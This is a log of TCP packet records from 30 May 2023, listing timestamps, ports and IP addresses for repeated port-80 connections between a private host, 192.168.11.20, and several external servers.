May 30, 2023 11:09:35.587465048 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.587501049 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.587568045 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.587609053 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.587647915 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.587673903 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.587730885 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.587842941 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.588047028 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.866302013 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.866368055 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.866410971 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.866475105 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.866724968 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.866806984 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.866940975 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.866996050 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867038012 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867082119 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867122889 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867153883 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.867188931 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867232084 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867270947 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867311001 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867325068 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.867393017 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.867433071 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.145898104 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.146015882 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.146405935 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.146471024 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.146512985 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.146553040 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.148807049 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.148870945 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.148921967 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:36.149157047 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:36.809834003 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:37.825578928 CEST	49789	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:38.090519905 CEST	80	49789	183.90.238.43	192.168.11.20
May 30, 2023 11:09:38.090727091 CEST	49789	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:38.090861082 CEST	49789	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:38.358098030 CEST	80	49789	183.90.238.43	192.168.11.20
May 30, 2023 11:09:38.359308004 CEST	80	49789	183.90.238.43	192.168.11.20
May 30, 2023 11:09:38.359396935 CEST	80	49789	183.90.238.43	192.168.11.20
May 30, 2023 11:09:38.359451056 CEST	80	49789	183.90.238.43	192.168.11.20
May 30, 2023 11:09:38.359707117 CEST	49789	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:38.359707117 CEST	49789	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:38.359961033 CEST	49789	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:38.625188112 CEST	80	49789	183.90.238.43	192.168.11.20
May 30, 2023 11:09:43.422051907 CEST	49790	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:43.449773073 CEST	80	49790	84.32.84.32	192.168.11.20
May 30, 2023 11:09:43.450028896 CEST	49790	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:43.450088978 CEST	49790	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:43.477969885 CEST	80	49790	84.32.84.32	192.168.11.20
May 30, 2023 11:09:43.478082895 CEST	80	49790	84.32.84.32	192.168.11.20
May 30, 2023 11:09:45.979893923 CEST	49791	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:46.007915974 CEST	80	49791	84.32.84.32	192.168.11.20
May 30, 2023 11:09:46.008187056 CEST	49791	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:46.008224010 CEST	49791	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:46.036135912 CEST	80	49791	84.32.84.32	192.168.11.20
May 30, 2023 11:09:46.036349058 CEST	80	49791	84.32.84.32	192.168.11.20
May 30, 2023 11:09:48.526329041 CEST	49792	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:48.553850889 CEST	80	49792	84.32.84.32	192.168.11.20
May 30, 2023 11:09:48.554019928 CEST	49792	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:48.554600954 CEST	49792	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:48.554619074 CEST	49792	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:48.554666996 CEST	49792	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:48.582191944 CEST	80	49792	84.32.84.32	192.168.11.20
May 30, 2023 11:09:48.582350016 CEST	49792	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:48.582381010 CEST	80	49792	84.32.84.32	192.168.11.20
May 30, 2023 11:09:48.582509995 CEST	49792	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:48.582530975 CEST	80	49792	84.32.84.32	192.168.11.20
May 30, 2023 11:09:48.610035896 CEST	80	49792	84.32.84.32	192.168.11.20
May 30, 2023 11:09:48.610238075 CEST	80	49792	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.072645903 CEST	49793	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:51.100414038 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.100759029 CEST	49793	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:51.101198912 CEST	49793	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:51.129046917 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129344940 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129426956 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129487038 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129548073 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129602909 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129659891 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129714966 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129762888 CEST	49793	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:51.129770041 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.129764080 CEST	49793	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:51.129815102 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:51.130142927 CEST	49793	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:51.130345106 CEST	49793	80	192.168.11.20	84.32.84.32
May 30, 2023 11:09:51.158021927 CEST	80	49793	84.32.84.32	192.168.11.20
May 30, 2023 11:09:56.254371881 CEST	49794	80	192.168.11.20	185.106.208.3
May 30, 2023 11:09:56.300931931 CEST	80	49794	185.106.208.3	192.168.11.20
May 30, 2023 11:09:56.301127911 CEST	49794	80	192.168.11.20	185.106.208.3
May 30, 2023 11:09:56.301322937 CEST	49794	80	192.168.11.20	185.106.208.3
May 30, 2023 11:09:56.347666979 CEST	80	49794	185.106.208.3	192.168.11.20
May 30, 2023 11:09:56.348151922 CEST	80	49794	185.106.208.3	192.168.11.20
May 30, 2023 11:09:56.348242998 CEST	80	49794	185.106.208.3	192.168.11.20
May 30, 2023 11:09:56.348381996 CEST	49794	80	192.168.11.20	185.106.208.3
May 30, 2023 11:09:57.805373907 CEST	49794	80	192.168.11.20	185.106.208.3
May 30, 2023 11:09:58.820931911 CEST	49795	80	192.168.11.20	185.106.208.3
May 30, 2023 11:09:58.867887974 CEST	80	49795	185.106.208.3	192.168.11.20
May 30, 2023 11:09:58.868155956 CEST	49795	80	192.168.11.20	185.106.208.3
May 30, 2023 11:09:58.868215084 CEST	49795	80	192.168.11.20	185.106.208.3
May 30, 2023 11:09:58.914906025 CEST	80	49795	185.106.208.3	192.168.11.20
May 30, 2023 11:09:58.914973021 CEST	80	49795	185.106.208.3	192.168.11.20
May 30, 2023 11:09:58.915263891 CEST	80	49795	185.106.208.3	192.168.11.20
May 30, 2023 11:09:58.915457964 CEST	49795	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:00.382849932 CEST	49795	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.398614883 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.445365906 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.445674896 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.446305990 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.446399927 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.493149042 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.493170023 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.493182898 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.493196011 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.493207932 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.493385077 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.493454933 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.493474960 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.493489027 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.493508101 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.493896008 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.532804012 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.533041954 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.540178061 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540237904 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540280104 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540319920 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540359974 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.540395021 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540438890 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540477991 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540520906 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540535927 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.540620089 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540663004 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540695906 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:01.540739059 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540785074 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.540824890 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.579545975 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.587116003 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.588547945 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.588694096 CEST	80	49796	185.106.208.3	192.168.11.20
May 30, 2023 11:10:01.588906050 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:02.960417986 CEST	49796	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:03.976042986 CEST	49797	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:04.022597075 CEST	80	49797	185.106.208.3	192.168.11.20
May 30, 2023 11:10:04.022806883 CEST	49797	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:04.022859097 CEST	49797	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:04.069587946 CEST	80	49797	185.106.208.3	192.168.11.20
May 30, 2023 11:10:04.069657087 CEST	80	49797	185.106.208.3	192.168.11.20
May 30, 2023 11:10:04.069709063 CEST	80	49797	185.106.208.3	192.168.11.20
May 30, 2023 11:10:04.070060968 CEST	49797	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:04.070111036 CEST	49797	80	192.168.11.20	185.106.208.3
May 30, 2023 11:10:04.116564035 CEST	80	49797	185.106.208.3	192.168.11.20
May 30, 2023 11:10:09.500705957 CEST	49798	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:09.665549040 CEST	80	49798	162.215.249.40	192.168.11.20
May 30, 2023 11:10:09.665862083 CEST	49798	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:09.665952921 CEST	49798	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:09.830810070 CEST	80	49798	162.215.249.40	192.168.11.20
May 30, 2023 11:10:09.841588020 CEST	80	49798	162.215.249.40	192.168.11.20
May 30, 2023 11:10:09.841666937 CEST	80	49798	162.215.249.40	192.168.11.20
May 30, 2023 11:10:09.841726065 CEST	80	49798	162.215.249.40	192.168.11.20
May 30, 2023 11:10:09.841778994 CEST	80	49798	162.215.249.40	192.168.11.20
May 30, 2023 11:10:09.841829062 CEST	80	49798	162.215.249.40	192.168.11.20
May 30, 2023 11:10:09.842044115 CEST	49798	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:11.177290916 CEST	49798	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:12.193044901 CEST	49799	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:12.358520031 CEST	80	49799	162.215.249.40	192.168.11.20
May 30, 2023 11:10:12.358793020 CEST	49799	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:12.358854055 CEST	49799	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:12.524512053 CEST	80	49799	162.215.249.40	192.168.11.20
May 30, 2023 11:10:12.534517050 CEST	80	49799	162.215.249.40	192.168.11.20
May 30, 2023 11:10:12.534601927 CEST	80	49799	162.215.249.40	192.168.11.20
May 30, 2023 11:10:12.534667015 CEST	80	49799	162.215.249.40	192.168.11.20
May 30, 2023 11:10:12.534722090 CEST	80	49799	162.215.249.40	192.168.11.20
May 30, 2023 11:10:12.534770012 CEST	80	49799	162.215.249.40	192.168.11.20
May 30, 2023 11:10:12.534785032 CEST	49799	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:12.534869909 CEST	49799	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:13.864249945 CEST	49799	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:14.879951000 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.045749903 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.046086073 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.046648979 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.046735048 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.212199926 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212265968 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212308884 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212348938 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212363958 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.212389946 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212436914 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.212472916 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212492943 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.212640047 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212678909 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.212682009 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212723017 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.212838888 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.213017941 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.377940893 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378006935 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378050089 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378089905 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378139973 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.378155947 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378226995 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.378237009 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378283978 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.378293037 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378334999 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378376007 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378488064 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.378612041 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378655910 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.378884077 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.379051924 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.419977903 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.543981075 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.544130087 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.544218063 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.544291019 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.544342995 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.544599056 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.547918081 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.548002005 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.548098087 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.548156023 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.548207045 CEST	80	49800	162.215.249.40	192.168.11.20
May 30, 2023 11:10:15.548271894 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:15.548445940 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:16.551373959 CEST	49800	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.566924095 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.732831955 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.733095884 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.733148098 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.898883104 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907572031 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907623053 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907661915 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907713890 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907758951 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907795906 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907839060 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907885075 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907893896 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.907893896 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.907924891 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907938004 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.907957077 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.907987118 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:17.908036947 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.908252954 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.908252954 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:17.908399105 CEST	49801	80	192.168.11.20	162.215.249.40
May 30, 2023 11:10:18.073781013 CEST	80	49801	162.215.249.40	192.168.11.20
May 30, 2023 11:10:23.108230114 CEST	49802	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:23.137247086 CEST	80	49802	84.32.84.32	192.168.11.20
May 30, 2023 11:10:23.137449026 CEST	49802	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:23.137608051 CEST	49802	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:23.166327953 CEST	80	49802	84.32.84.32	192.168.11.20
May 30, 2023 11:10:23.166450024 CEST	80	49802	84.32.84.32	192.168.11.20
May 30, 2023 11:10:25.658795118 CEST	49803	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:25.686826944 CEST	80	49803	84.32.84.32	192.168.11.20
May 30, 2023 11:10:25.687143087 CEST	49803	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:25.687167883 CEST	49803	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:25.715348959 CEST	80	49803	84.32.84.32	192.168.11.20
May 30, 2023 11:10:25.715439081 CEST	80	49803	84.32.84.32	192.168.11.20
May 30, 2023 11:10:28.205276012 CEST	49804	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:28.233782053 CEST	80	49804	84.32.84.32	192.168.11.20
May 30, 2023 11:10:28.233956099 CEST	49804	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:28.234545946 CEST	49804	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:28.234597921 CEST	49804	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:28.234658957 CEST	49804	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:28.263413906 CEST	80	49804	84.32.84.32	192.168.11.20
May 30, 2023 11:10:28.263478041 CEST	80	49804	84.32.84.32	192.168.11.20
May 30, 2023 11:10:28.263521910 CEST	80	49804	84.32.84.32	192.168.11.20
May 30, 2023 11:10:28.263580084 CEST	49804	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:28.263638973 CEST	49804	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:28.263808012 CEST	80	49804	84.32.84.32	192.168.11.20
May 30, 2023 11:10:28.292408943 CEST	80	49804	84.32.84.32	192.168.11.20
May 30, 2023 11:10:28.292468071 CEST	80	49804	84.32.84.32	192.168.11.20
May 30, 2023 11:10:28.292859077 CEST	80	49804	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.751600027 CEST	49805	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:30.779555082 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.779846907 CEST	49805	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:30.779905081 CEST	49805	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:30.807908058 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808104038 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808173895 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808228970 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808284998 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808353901 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808413029 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808469057 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808526993 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808573008 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:30.808587074 CEST	49805	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:30.808588028 CEST	49805	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:30.808831930 CEST	49805	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:30.809047937 CEST	49805	80	192.168.11.20	84.32.84.32
May 30, 2023 11:10:30.836819887 CEST	80	49805	84.32.84.32	192.168.11.20
May 30, 2023 11:10:35.831945896 CEST	49806	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:35.841799021 CEST	80	49806	89.31.143.1	192.168.11.20
May 30, 2023 11:10:35.842020988 CEST	49806	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:35.842164040 CEST	49806	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:35.851777077 CEST	80	49806	89.31.143.1	192.168.11.20
May 30, 2023 11:10:35.853982925 CEST	80	49806	89.31.143.1	192.168.11.20
May 30, 2023 11:10:35.854059935 CEST	80	49806	89.31.143.1	192.168.11.20
May 30, 2023 11:10:35.854304075 CEST	49806	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:37.343575001 CEST	49806	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:38.359304905 CEST	49807	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:38.369277000 CEST	80	49807	89.31.143.1	192.168.11.20
May 30, 2023 11:10:38.369590998 CEST	49807	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:38.369671106 CEST	49807	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:38.379460096 CEST	80	49807	89.31.143.1	192.168.11.20
May 30, 2023 11:10:38.381520033 CEST	80	49807	89.31.143.1	192.168.11.20
May 30, 2023 11:10:38.381578922 CEST	80	49807	89.31.143.1	192.168.11.20
May 30, 2023 11:10:38.381736040 CEST	49807	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:39.874247074 CEST	49807	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.890069962 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.901015043 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.901318073 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.901983976 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.912982941 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.913043022 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.913084984 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.913129091 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.913167953 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.913208008 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.913249969 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.913418055 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.913485050 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.913544893 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.913624048 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.913886070 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.914104939 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.915285110 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.924357891 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.924417019 CEST	80	49808	89.31.143.1	192.168.11.20
